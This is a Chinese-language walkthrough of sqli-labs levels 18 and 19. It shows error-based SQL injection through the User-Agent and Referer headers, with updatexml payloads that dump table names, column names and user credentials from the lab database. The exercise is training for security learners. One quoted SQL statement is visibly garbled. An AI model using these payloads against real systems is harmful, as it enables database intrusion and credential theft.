sqli-labs less-18 http头user-agent注入

HTTP头注入

常见的HTTP注入点产生位置为【Referer】、【X-Forwarded-For】、【Cookie】、【X-Real-IP】、【Accept-Language】、【Authorization】

HTTP Referer是header头的一部分,从哪个网页了链接过来的

X-Forwarded-For 简称XXF头,代表客户端,用来记录代理信息,每经过一级处理,代理服务器都把这次请求的来源IP追加在XFF头上

COOkie:指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)

X-Real-IP:是一个自定义的Header,一般只记录真实发出请求的客户端IP

Accept-Language 请求头允许客户端声明它可以理解的自然语言,以及优先选择的区域方言

本关卡是模拟登录情况下的注入。我们需要先登录一个账号,这里我以admin,admin为列。

登入后页面回显IP和User-Agent,抓包在bp中进行测试

less-18

抓包

HTTP报文如上图,在实际的环境中,如果我们没有获取到网站源码,进行黑盒测试,就需要对每一个注入点进行测试,而在这个模拟环境中,我们知道源码,所以可以直接白盒测试。

源码


从源代码中我们可以看到POST的uname和passwd都做了check_input()处理,,所以表单不存在注入点。在登录成功后,Insert语句出错还会返回mysql的错误信息。
不论是否登录成功,都会回显IP。
登陆成功后回显uagent,并将uagent、IP、uname插入到security数据库的uagents表的uagent、ip_address、username三个字段中。
而且这里要输入正确的账号和密码才能绕过账号密码判断,进入处理User-Agent部分。这跟现实中的注册登录再注入是比较贴合。所以注入点就在User-Agent处,且是单引号型报错注入。

接下来开始注入

构造payload

源码insert语句为

INSERT INTO security.uagents (uagent, ip_address, username) VALUES (' u a g e n t ′ , ′ uagent', ' uagent′,′IP', $uname)

所以我们构造

1',2,3) #

闭合方式。不能使用--来注释,这是HTTP报文,不是URL,URL解释+为空格

1' or updatexml(1,concat(0x7e,(select database())) or ',3) ,2,3) #

因为插入语句使用or来连接

得到数据库名

爆表

。' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) or ',2,3) #

爆列

User-Agent:' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),3) or ',2,3) #

数据

User-Agent:' or updatexml(1,concat(0x7e,substring((select group_concat(username,'-',password) from security.users),30,30)),3) or ',2,3) #

,因为报错回显只能有32个字符,使用sustring函数,通过修改substring的值,来获取所有数据

less-19

登入进去,页面回显IP和Referer

根据上一关,此次使用Referer来进行报错注入

使用方法与上一关一样,只不过将User-Agent的位置变成了Referer。

库名

Referer: ' or updatexml(1,concat(0x7e,(select database())),3) or',1,1) #

表名

Referer: ' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) or',1,1) #

列名

Referer: ' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),3) or',1,1) #

数据

Referer: ' or updatexml(1,concat(0x7e,substring((select group_concat(username,':',password) from security.users),1,30)),3) or',1,1) #方法同less-18

相关推荐
啦啦啦_99995 分钟前
Redis-5-doFormatAsync()方法
数据库·redis·c#
生产队队长14 分钟前
Redis:Windows环境安装Redis,并将 Redis 进程注册为服务
数据库·redis·缓存
老邓计算机毕设15 分钟前
SSM找学互助系统52568(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面
数据库·ssm 框架·javaweb 毕业设计
痴儿哈哈18 分钟前
自动化机器学习(AutoML)库TPOT使用指南
jvm·数据库·python
ba_pi29 分钟前
每天写点什么2026-02-04(2.1)信息安全
安全·web安全
Σίσυφος19001 小时前
PCL法向量估计 之 方向约束法向量(Orientation Guided Normal)
数据库
老毛肚1 小时前
手写mybatis
java·数据库·mybatis
海山数据库1 小时前
移动云大云海山数据库(He3DB)postgresql_anonymizer插件原理介绍与安装
数据库·he3db·大云海山数据库·移动云数据库
枷锁—sha1 小时前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
l1t1 小时前
DeepSeek总结的PostgreSQL的GPT推理SQL移植到DuckDB的性能优化方法
sql·gpt·postgresql